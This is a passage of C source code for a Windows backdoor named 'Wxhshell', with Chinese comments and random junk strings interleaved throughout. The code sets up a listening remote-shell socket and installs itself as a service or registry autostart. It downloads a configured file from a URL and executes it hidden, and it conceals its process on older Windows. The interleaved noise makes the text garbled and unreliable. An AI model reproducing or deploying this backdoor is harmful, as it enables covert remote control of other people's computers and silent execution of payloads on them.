d if(NULL == hInst ) return 0; >$F]Ss)$ ]vErF=[U, g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ';F][x 5j g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1>{(dd?L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2N]s}/l 8m0sEV> if (!NtQueryInformationProcess) return 0; >S]')O$c ;{20Heuz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zBfBYhS- if(!hProcess) return 0; [t'"4 \:7EKzQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; //|Vj | = Hq$|j,&? CloseHandle(hProcess); 2T9Z{v vS#]RW&j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :P~Owz if(hProcess==NULL) return 0; 7a net w (1a{m?ht HMODULE hMod; >d\I*"C+d char procName[255]; kvn6
NiU unsigned long cbNeeded; QeoDq
f'S"F if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N5DS-gv b.&YUg[# CloseHandle(hProcess); {'(8<n57 8),Y|4 if(strstr(procName,"services")) return 1; // 以服务启动 8b!_b2Za 0b'R5I.M return 0; // 注册表启动 t,_[nu(~8% } r.5F^ VXS9E383 // 主模块 1,,-R*x int StartWxhshell(LPSTR lpCmdLine) =UY@,*q:c { ` 0F
IJT SOCKET wsl; W!*vO>^1W BOOL val=TRUE; AbB>ZT>hR int port=0; +fN0>@s struct sockaddr_in door; KMZ`Wn= rf@81Ds if(wscfg.ws_autoins) Install(); |*i-Q @
D \BW(c)Q port=atoi(lpCmdLine); QR4o j f`e.c_n( if(port<=0) port=wscfg.ws_port; /Y:Zqk3 HFOp4 WSADATA data; ^Tx1y[hw$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z/x~:u_ bkTj
Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ojri~erJE? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >B0S5:S$W door.sin_family = AF_INET; ??PpHBJ') door.sin_addr.s_addr = inet_addr("127.0.0.1"); it$~uP | door.sin_port = htons(port); 65v'/m!ys ^E^: =Q?'_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $ }53f'QjW closesocket(wsl); al/~ return 1; c@`P{6 } -/X-.#}- 2ip~qZNw>< if(listen(wsl,2) == INVALID_SOCKET) { 9}N*(PI closesocket(wsl); zPe . return 1; >\ W" 3. } Eh+lLtZ Wxhshell(wsl); vq}V0-
< WSACleanup(); J']W7!p U N/.T
return 0; Ad `IgZ -SQYr } ~$B,K] Zh@\+1] // 以NT服务方式启动 f+&yc'[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |@RO&F { 2k_Bo~. DWORD status = 0; N@}U ;x} DWORD specificError = 0xfffffff; >:=TS"}yS} H\T
h4teE serviceStatus.dwServiceType = SERVICE_WIN32; `8I&(k<wLe serviceStatus.dwCurrentState = SERVICE_START_PENDING; _~!,x.Dbp serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #qWEyb2UZ serviceStatus.dwWin32ExitCode = 0; 0:*$i(2 serviceStatus.dwServiceSpecificExitCode = 0; n2E2V<# serviceStatus.dwCheckPoint = 0; hf[K\aAk serviceStatus.dwWaitHint = 0; S`::f(e 7j+.H/2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t%)L8%Jr if (hServiceStatusHandle==0) return; vzL>ZBeZ jVDNThm+ status = GetLastError(); 1na[=Q2 if (status!=NO_ERROR) E]
[DVY { bpkn[K"( serviceStatus.dwCurrentState = SERVICE_STOPPED; 99 ["I: serviceStatus.dwCheckPoint = 0; ;$Y?j8g serviceStatus.dwWaitHint = 0; 04s N4C serviceStatus.dwWin32ExitCode = status; f5N~K> serviceStatus.dwServiceSpecificExitCode = specificError; f: Rh9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); *M{1RMc return; hRP0Djc } ,#crtX A)xI.Q6 serviceStatus.dwCurrentState = SERVICE_RUNNING; .+y#7-#6 serviceStatus.dwCheckPoint = 0; zMa`olTZ serviceStatus.dwWaitHint = 0; `F)Iv:;y, if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E^g6,Y:i9 } #\}hN~@F X_h+\
7N> // 处理NT服务事件,比如:启动、停止 YXvKDw'95 VOID WINAPI NTServiceHandler(DWORD fdwControl) .}tL:^'~o { HV}NT~ switch(fdwControl) Y !`H_Qo { ]C!u~A\jq case SERVICE_CONTROL_STOP: 1yhx)m;f serviceStatus.dwWin32ExitCode = 0; bHp|>g serviceStatus.dwCurrentState = SERVICE_STOPPED; r
)T`?y serviceStatus.dwCheckPoint = 0; I0Vm^\8 serviceStatus.dwWaitHint = 0; :7R\"@V4 { sIyLW SetServiceStatus(hServiceStatusHandle, &serviceStatus); U}UIbJD*= } ? f%@8%px return; (k[<>$hL* case SERVICE_CONTROL_PAUSE: eN/Jb;W serviceStatus.dwCurrentState = SERVICE_PAUSED; @-hy:th# break; h.67]U7m case SERVICE_CONTROL_CONTINUE: 4EOu)# serviceStatus.dwCurrentState = SERVICE_RUNNING; 9(m^^ break; &?~> I[^~
case SERVICE_CONTROL_INTERROGATE: (vQShe\ break; , 7}Ri }; 4F'@yi^Gt SetServiceStatus(hServiceStatusHandle, &serviceStatus); >6@UjGj54 } b&LhydaJ =/zQJzN // 标准应用程序主函数 R)#"Ab Z' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _8bqk\m+ { P?bdjU#_n` 5f1yszd // 获取操作系统版本 zP5H TEz OsIsNt=GetOsVer(); =14p Ee GetModuleFileName(NULL,ExeFile,MAX_PATH); \\[P^ tsF Ar|_UV>Zf // 从命令行安装 &R 0BuFL8 if(strpbrk(lpCmdLine,"iI")) Install(); QII>XJ9 5bgx;z9 // 下载执行文件 l!`m}$ if(wscfg.ws_downexe) { c0tv!PSw if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uz%rWN`{ WinExec(wscfg.ws_filenam,SW_HIDE); &)rmv } 3 iY`kf Z!*Wn`d-k if(!OsIsNt) { W{k}ogI; // 如果时win9x,隐藏进程并且设置为注册表启动 %cBJ haR{( HideProc(); -1fT2e StartWxhshell(lpCmdLine); aa$+( } HbCM{A9 else r=s7be if(StartFromService()) yM>c**9 // 以服务方式启动 r|
YuHm StartServiceCtrlDispatcher(DispatchTable); ZVI.s U else PyIIdTm // 普通方式启动 IuRKj8J)o StartWxhshell(lpCmdLine); XrYz[h*)! 6}[W%S]8 return 0; gPDc6{/C< }
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